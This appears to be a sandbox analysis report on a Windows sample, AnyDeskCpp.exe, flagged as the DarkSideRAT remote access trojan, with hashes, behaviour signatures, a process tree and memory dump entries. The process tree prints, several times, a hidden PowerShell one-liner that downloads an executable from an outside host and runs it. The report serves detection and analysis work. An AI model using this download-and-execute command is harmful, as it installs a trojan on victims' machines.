Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 07:29

General

  • Target
    AnyDeskCpp.exe
  • Size 363KB
  • Sample260828-ja882svcmd
  • SHA256 ea2e998765d813eaed1ffd18240d9ea9f30435ca2107d2bbd896e1e7e93d2e17
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AnyDeskCpp.exe
    "C:\Users\Admin\AppData\Local\Temp\AnyDeskCpp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK595096.exe; Start-Process -FilePath $env:TEMP\BK595096.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK595096.exe; Start-Process -FilePath $env:TEMP\BK595096.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK595096.exe; Start-Process -FilePath $env:TEMP\BK595096.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1228
          • C:\Users\Admin\AppData\Local\Temp\BK595096.exe
            "C:\Users\Admin\AppData\Local\Temp\BK595096.exe"
            5⤵
            • Executes dropped EXE
            PID:4640

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        BK595096.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK595096.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1228-10-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-12-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-6-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-5-0x00000268FF600000-0x00000268FF622000-memory.dmp

        memory/1228-7-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-8-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-2-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-9-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-11-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-0-0x00007FF8EA99F000-0x00007FF8EA9A0000-memory.dmp

        memory/1228-14-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-13-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-15-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-16-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-1-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp

        memory/1228-26-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp